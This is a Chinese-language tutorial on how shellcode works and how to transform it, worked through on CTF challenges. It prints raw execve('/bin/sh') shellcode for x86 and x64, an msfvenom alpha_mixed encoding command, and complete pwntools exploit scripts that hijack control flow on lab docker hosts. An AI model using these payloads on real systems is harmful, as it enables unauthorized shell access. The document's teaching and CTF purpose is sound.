溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

shellcode的使用原理與變形是什么

發(fā)布時(shí)間:2021-10-21 17:46:40 來源:億速云 閱讀:192 作者:柒染 欄目:網(wǎng)絡(luò)安全

shellcode的使用原理與變形是什么,針對(duì)這個(gè)問題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問題的小伙伴找到更簡(jiǎn)單易行的方法。

0x00 shellcode的使用

在上一篇文章中我們學(xué)習(xí)了怎么使用棧溢出劫持程序的執(zhí)行流程。為了減少難度,演示和作業(yè)題程序里都帶有很明顯的后門。然而在現(xiàn)實(shí)世界里并不是每個(gè)程序都有后門,即使是有,也沒有那么好找。因此,我們就需要使用定制的shellcode來執(zhí)行自己需要的操作。

首先我們把演示程序~/Openctf 2016-tyro_shellcode1/tyro_shellcode1復(fù)制到32位的docker環(huán)境中并開啟調(diào)試器進(jìn)行調(diào)試分析。需要注意的是,由于程序帶了一個(gè)很簡(jiǎn)單的反調(diào)試,在調(diào)試過程中可能會(huì)彈出如下窗口:

shellcode的使用原理與變形是什么

此時(shí)點(diǎn)OK,在彈出的Exception handling窗口中選擇No(discard)丟棄掉SIGALRM信號(hào)即可。

與上一篇教程不同的是,這次的程序并不存在棧溢出。從F5的結(jié)果上看程序使用read函數(shù)讀取的輸入甚至都不在棧上,而是在一片使用mmap分配出來的內(nèi)存空間上。

shellcode的使用原理與變形是什么通過調(diào)試,我們可以發(fā)現(xiàn)程序?qū)嶋H上是讀取我們的輸入,并且使用call指令執(zhí)行我們的輸入。也就是說我們的輸入會(huì)被當(dāng)成匯編代碼被執(zhí)行。

shellcode的使用原理與變形是什么shellcode的使用原理與變形是什么

顯然,我們這里隨便輸入的“12345678”有點(diǎn)問題,繼續(xù)執(zhí)行的話會(huì)出錯(cuò)。不過,當(dāng)程序會(huì)把我們的輸入當(dāng)成指令執(zhí)行,shellcode就有用武之地了。

首先我們需要去找一個(gè)shellcode,我們希望shellcode可以打開一個(gè)shell以便于遠(yuǎn)程控制只對(duì)我們暴露了一個(gè)10001端口的docker環(huán)境,而且shellcode的大小不能超過傳遞給read函數(shù)的參數(shù),即0x20=32.我們通過著名的shell-storm.org的shellcode數(shù)據(jù)庫shell-storm.org/shellcode/找到了一段符合條件的shellcodeshellcode的使用原理與變形是什么21個(gè)字節(jié)的執(zhí)行sh的shellcode,點(diǎn)開一看里面還有代碼和介紹。我們先不管這些介紹,把shellcode取出來shellcode的使用原理與變形是什么使用pwntools庫把shellcode作為輸入傳遞給程序,嘗試使用io.interactive()與程序進(jìn)行交互,發(fā)現(xiàn)可以執(zhí)行shell命令。shellcode的使用原理與變形是什么


當(dāng)然,shell-storm上還有可以執(zhí)行其他功能如關(guān)機(jī),進(jìn)程炸彈,讀取/etc/passwd等的shellcode,大家也可以試一下??偠灾?,shellcode是一段可以執(zhí)行特定功能的神秘代碼。那么shellcode是怎么被編寫出來,又是怎么執(zhí)行指定操作的呢?我們繼續(xù)來深挖下去。鏈接文字

0x01 shellcode的原理

這次我們直接把斷點(diǎn)下在call eax上,然后F7跟進(jìn)

shellcode的使用原理與變形是什么可以看到我們的輸入變成了如下匯編指令

shellcode的使用原理與變形是什么

我們可以選擇Options->General,把Number of opcode bytes (non-graph)的值調(diào)大

shellcode的使用原理與變形是什么

會(huì)發(fā)現(xiàn)每條匯編指令都對(duì)應(yīng)著長短不一的一串16進(jìn)制數(shù)。

shellcode的使用原理與變形是什么

對(duì)匯編有一定了解的讀者應(yīng)該知道,這些16進(jìn)制數(shù)串叫做opcode。opcode是由最多6個(gè)域組成的,和匯編指令存在對(duì)應(yīng)關(guān)系的機(jī)器碼?;蛘哒f可以認(rèn)為匯編指令是opcode的“別名”。易于人類閱讀的匯編語言指令,如xor ecx, ecx等,實(shí)際上就是被匯編器根據(jù)opcode與匯編指令的替換規(guī)則替換成16進(jìn)制數(shù)串,再與其他數(shù)據(jù)經(jīng)過組合處理,最后變成01字符串被CPU識(shí)別并執(zhí)行的。當(dāng)然,IDA之類的反匯編器也是使用替換規(guī)則將16進(jìn)制串處理成匯編代碼的。所以我們可以直接構(gòu)造合法的16進(jìn)制串組成的opcode串,即shellcode,使系統(tǒng)得以識(shí)別并執(zhí)行,完成我們想要的功能。關(guān)于opcode六個(gè)域的組成及其他深入知識(shí)此處不再贅述,感興趣的讀者可以在Intel官網(wǎng)獲取開發(fā)者手冊(cè)或其他地方查閱資料進(jìn)行了解并嘗試查表閱讀機(jī)器碼或者手寫shellcode。

0x03 系統(tǒng)調(diào)用

我們繼續(xù)執(zhí)行這段代碼,可以發(fā)現(xiàn)EAX, EBX, ECX, EDX四個(gè)寄存器被先后清零,EAX被賦值為0Xb,ECX入棧,“/bin//sh”字符串入棧,并將其首地址賦給了EBX,最后執(zhí)行完int 80h,IDA彈出了一個(gè)warning窗口顯示got SIGTRAP signal

shellcode的使用原理與變形是什么

點(diǎn)擊OK,繼續(xù)F8或者F9執(zhí)行,選擇Yes(pass to app) .然后在python中執(zhí)行io.interactive()進(jìn)行手動(dòng)交互,隨便輸入一個(gè)shell命令如ls,在IDA窗口中再次按F9,彈出另一個(gè)捕獲信號(hào)的窗口shellcode的使用原理與變形是什么同樣OK后繼續(xù)執(zhí)行,選擇Yes(pass to app),發(fā)現(xiàn)python窗口中的shell命令被成功執(zhí)行。
那么問題來了,我們這段shellcode里面并沒有system這個(gè)函數(shù),是誰實(shí)現(xiàn)了“system("/bin/sh")”的效果呢?事實(shí)上,通過剛剛的調(diào)試大家應(yīng)該能猜到是陌生的int 80h指令。查閱intel開發(fā)者手冊(cè)我們可以知道int指令的功能是調(diào)用系統(tǒng)中斷,所以int 80h就是調(diào)用128號(hào)中斷。在32位的linux系統(tǒng)中,該中斷被用于呼叫系統(tǒng)調(diào)用程序system_call().我們知道,出于對(duì)硬件和操作系統(tǒng)內(nèi)核的保護(hù),應(yīng)用程序的代碼一般在保護(hù)模式下運(yùn)行。在這個(gè)模式下我們使用的程序和寫的代碼是沒辦法訪問內(nèi)核空間的。但是我們顯然可以通過調(diào)用read(), write()之類的函數(shù)從鍵盤讀取輸入,把輸出保存在硬盤里的文件中。那么read(), write()之類的函數(shù)是怎么突破保護(hù)模式的管制,成功訪問到本該由內(nèi)核管理的這些硬件呢?答案就在于int 80h這個(gè)中斷調(diào)用。不同的內(nèi)核態(tài)操作通過給寄存器設(shè)置不同的值,再調(diào)用同樣的 指令int 80h,就可以通知內(nèi)核完成不同的功能。而read(), write(), system()之類的需要內(nèi)核“幫忙”的函數(shù),就是圍繞這條指令加上一些額外參數(shù)處理,異常處理等代碼封裝而成的。32位linux系統(tǒng)的內(nèi)核一共提供了0~337號(hào)共計(jì)338種系統(tǒng)調(diào)用用以實(shí)現(xiàn)不同的功能。
知道了int 80h的具體作用之后,我們接著去查表看一下如何使用int 80h實(shí)現(xiàn)system("/bin/sh")。通過http://syscalls.kernelgrok.com/,我們沒找到system,但是找到了這個(gè)

shellcode的使用原理與變形是什么對(duì)比我們使用的shellcode中的寄存器值,很容易發(fā)現(xiàn)shellcode中的EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,即執(zhí)行了sys_execve("/bin//sh", 0, 0, 0),通過/bin/sh軟鏈接打開一個(gè)shell.所以我們可以在沒有system函數(shù)的情況下打開shell。需要注意的是,隨著平臺(tái)和架構(gòu)的不同,呼叫系統(tǒng)調(diào)用的指令,調(diào)用號(hào)和傳參方式也不盡相同,例如64位linux系統(tǒng)的匯編指令就是syscall,調(diào)用sys_execve需要將EAX設(shè)置為0x3B,放置參數(shù)的寄存器也和32位不同,具體可以參考http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64

0x04 shellcode的變形

在很多情況下,我們多試幾個(gè)shellcode,總能找到符合能用的。但是在有些情況下,為了成功將shellcode寫入被攻擊的程序的內(nèi)存空間中,我們需要對(duì)原有的shellcode進(jìn)行修改變形以避免shellcode中混雜有\(zhòng)x00, \x0A等特殊字符,或是繞過其他限制。有時(shí)候甚至需要自己寫一段shellcode。我們通過兩個(gè)例子分別學(xué)習(xí)一下如何使用工具和手工對(duì)shellcode進(jìn)行變形。
首先我們分析例子~/BSides San Francisco CTF 2017-b_64_b_tuff/b-64-b-tuff.從F5的結(jié)果上看,我們很容易知道這個(gè)程序會(huì)將我們的輸入進(jìn)行base64編碼后作為匯編指令執(zhí)行(注意存放base64編碼后結(jié)果的字符串指針shellcode在return 0的前一行被類型強(qiáng)轉(zhuǎn)為函數(shù)指針并調(diào)用)

shellcode的使用原理與變形是什么

雖然程序直接給了我們執(zhí)行任意代碼的機(jī)會(huì),但是base64編碼的限制要求我們的輸入必須只由0-9,a-z,A-Z,+,/這些字符組成,然而我們之前用來開shell的shellcode
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"顯然含有大量的非base64編碼字符,甚至包含了大量的不可見字符。因此,我們就需要對(duì)其進(jìn)行編碼。
在不改變shellcode功能的情況下對(duì)其進(jìn)行編碼是一個(gè)繁雜的工作,因此我們首先考慮使用工具。事實(shí)上,pwntools庫中自帶了一個(gè)encode類用來對(duì)shellcode進(jìn)行一些簡(jiǎn)單的編碼,但是目前encode類的功能較弱,似乎無法避開太多字符,因此我們需要用到另一個(gè)工具msfVENOM。由于kali中自帶了metasploit,使用kali的讀者可以直接使用。
首先我們查看一下msfvenom的幫助選項(xiàng)

shellcode的使用原理與變形是什么

顯然,我們需要先執(zhí)行msfvenom -l encoders挑選一個(gè)編碼器

shellcode的使用原理與變形是什么

圖中的x86/alpha_mixed可以將shellcode編碼成大小寫混合的代碼,符合我們的條件。所以我們配置命令參數(shù)如下:
python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
我們需要自己輸入shellcode,但msfvenom只能從stdin中讀取,所以使用linux管道操作符“|”,把shellcode作為python程序的輸出,從python的stdout傳送到msfvenom的stdin。此外配置編碼器為x86/alpha_mixed,配置目標(biāo)平臺(tái)架構(gòu)等信息,輸出到文件名為payload的文件中。最后,由于在b-64-b-tuff中是通過指令call eax調(diào)用shellcode的

shellcode的使用原理與變形是什么

所以配置BufferRegister=EAX。最后輸出的payload內(nèi)容為PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA
編寫腳本如下:

#!/usr/bin/python#coding:utf-8from pwn import *from base64 import *

context.update(arch = 'i386', os = 'linux', timeout = 1)    

io = remote('172.17.0.2', 10001)    

shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh7ODoaccXU8ToE2bIbNLIXcHMOpAA")print io.recv()
io.send(shellcode)  print io.recv()     
io.interactive()

成功獲取shell

shellcode的使用原理與變形是什么

工具雖然好用,但也不是萬能的。有的時(shí)候我們可以成功寫入shellcode,但是shellcode在執(zhí)行前甚至執(zhí)行時(shí)卻會(huì)被破壞。當(dāng)破壞難以避免時(shí),我們就需要手工拆分shellcode,并且編寫代碼把兩段分開的shellcode再“連”到一起。比如例子~/CSAW Quals CTF 2017-pilot/pilot
這個(gè)程序的邏輯同樣很簡(jiǎn)單,程序的main函數(shù)中存在一個(gè)棧溢出。

shellcode的使用原理與變形是什么

使用pwntools自帶的檢查腳本checksec檢查程序,發(fā)現(xiàn)程序存在著RWX段(同linux的文件屬性一樣,對(duì)于分頁管理的現(xiàn)代操作系統(tǒng)的內(nèi)存頁來說,每一頁也同樣具有可讀(R),可寫(W),可執(zhí)行(X)三種屬性。只有在某個(gè)內(nèi)存頁具有可讀可執(zhí)行屬性時(shí),上面的數(shù)據(jù)才能被當(dāng)做匯編指令執(zhí)行,否則將會(huì)出錯(cuò))

shellcode的使用原理與變形是什么

調(diào)試運(yùn)行后發(fā)現(xiàn)這個(gè)RWX段其實(shí)就是棧,且程序還泄露出了buf所在的棧地址

shellcode的使用原理與變形是什么

shellcode的使用原理與變形是什么

所以我們的任務(wù)只剩下找到一段合適的shellcode,利用棧溢出劫持RIP到shellcode上執(zhí)行。所以我們寫了以下腳本

#!/usr/bin/python
#coding:utf-8from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)   

io = remote('172.17.0.3', 10001)    

shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscallprint io.recvuntil("Location:")                             #讀取到"Location:",緊接著就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16)       #將泄露出來的棧地址從字符串轉(zhuǎn)換成數(shù)字
log.info("Leak stack address = %x", shellcode_address_at_stack)

payload = ""                        
payload += shellcode                                        #拼接shellcode
payload += "\x90"*(0x28-len(shellcode))                 #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90作為填充字符
payload += p64(shellcode_address_at_stack)                  #拼接shellcode所在的棧地址,劫持RIP到該地址以執(zhí)行shellcode

io.send(payload)
io.interactive()


但是執(zhí)行時(shí)卻發(fā)現(xiàn)程序崩潰了。

shellcode的使用原理與變形是什么很顯然,我們的腳本出現(xiàn)了問題。我們直接把斷點(diǎn)下載main函數(shù)的retn處,跟進(jìn)到shellcode看看發(fā)生了什么

shellcode的使用原理與變形是什么

shellcode的使用原理與變形是什么

shellcode的使用原理與變形是什么

shellcode的使用原理與變形是什么

從這四張圖和shellcode的內(nèi)容我們可以看出,由于shellcode執(zhí)行過程中的push,最后一部分會(huì)在執(zhí)行完push rdi之后被覆蓋從而導(dǎo)致shellcode失效。因此我們要么得選一個(gè)更短的shellcode,要么就對(duì)其進(jìn)行改造。鑒于shellcode不好找,我們還是選擇改造。

首先我們會(huì)發(fā)現(xiàn)在shellcode執(zhí)行過程中只有返回地址和上面的24個(gè)字節(jié)會(huì)被push進(jìn)棧的寄存器值修改,而棧溢出最多可以向棧中寫0x40=64個(gè)字節(jié)。結(jié)合對(duì)這個(gè)題目的分析可知在返回地址之后還有16個(gè)字節(jié)的空間可寫。根據(jù)這四張圖顯示出來的結(jié)果,push rdi執(zhí)行后下一條指令就會(huì)被修改,因此我們可以考慮把shellcode在push rax和push rdi之間分拆成兩段,此時(shí)push rdi之后的shellcode片段為8個(gè)字節(jié),小于16字節(jié),可以容納。

接下來我們需要考慮怎么把這兩段代碼連在一起執(zhí)行。我們知道,可以打破匯編代碼執(zhí)行的連續(xù)性的指令就那么幾種,call,ret和跳轉(zhuǎn)。前兩條指令都會(huì)影響到寄存器和棧的狀態(tài),因此我們只能選擇使用跳轉(zhuǎn)中的無條件跳轉(zhuǎn)jmp. 我們可以去查閱前面提到過的Intel開發(fā)者手冊(cè)或其他資料找到j(luò)mp對(duì)應(yīng)的字節(jié)碼,不過幸運(yùn)的是這個(gè)程序中就帶了一條。

shellcode的使用原理與變形是什么

從圖中可以看出jmp short locret_400B34的字節(jié)碼是EB 05。顯然,jmp短跳轉(zhuǎn)(事實(shí)上jmp的跳轉(zhuǎn)有好幾種)的字節(jié)碼是EB。至于為什么距離是05而不是0x34-0x2D=0x07,是因?yàn)榫嚯x是從jmp的下一條指令開始計(jì)算的。因此,我們以此類推可得我們的兩段shellcode之間跳轉(zhuǎn)距離應(yīng)為0x18,所以添加在第一段shellcode后面的字節(jié)為\xeb\x18,添加兩個(gè)字節(jié)也剛好避免第一段shellcode的內(nèi)容被rdi的值覆蓋。所以正確的腳本如下:

#!/usr/bin/python#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)   

io = remote('172.17.0.3', 10001)    

#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#原始的shellcode。由于shellcode位于棧上,運(yùn)行到push rdi時(shí)棧頂正好到了\x89\xe6\xb0\x3b\x0f\x05處,rdi的值會(huì)覆蓋掉這部分shellcode,從而導(dǎo)致執(zhí)行失敗,所以需要對(duì)其進(jìn)行拆分#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax#push rdi#mov rsi, rsp#mov al, 0x3b#syscall

shellcode1 = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50"#第一部分shellcode,長度較短,避免尾部被push rdi污染#xor rdx, rdx#mov rbx, 0x68732f6e69622f2f#shr rbx, 0x8#push rbx#mov rdi, rsp#push rax

shellcode1 += "\xeb\x18"#使用一個(gè)跳轉(zhuǎn)跳過被push rid污染的數(shù)據(jù),接上第二部分shellcode繼續(xù)執(zhí)行#jmp short $+18h

shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#第二部分shellcode#push rdi#mov rsi, rsp#mov al, 0x3b#syscall

print io.recvuntil("Location:")                             #讀取到"Location:",緊接著就是泄露出來的棧地址
shellcode_address_at_stack = int(io.recv()[0:14], 16)       #將泄露出來的棧地址從字符串轉(zhuǎn)換成數(shù)字
log.info("Leak stack address = %x", shellcode_address_at_stack)

payload = ""                        
payload += shellcode1                                       #拼接第一段shellcode
payload += "\x90"*(0x28-len(shellcode1))                    #任意字符填充到棧中保存的RIP處,此處選用了空指令NOP,即\x90作為填充字符
payload += p64(shellcode_address_at_stack)                  #拼接shellcode所在的棧地址,劫持RIP到該地址以執(zhí)行shellcode
payload += shellcode2                                       #拼接第二段shellcode

io.send(payload)
io.interactive()

關(guān)于shellcode的使用原理與變形是什么問題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI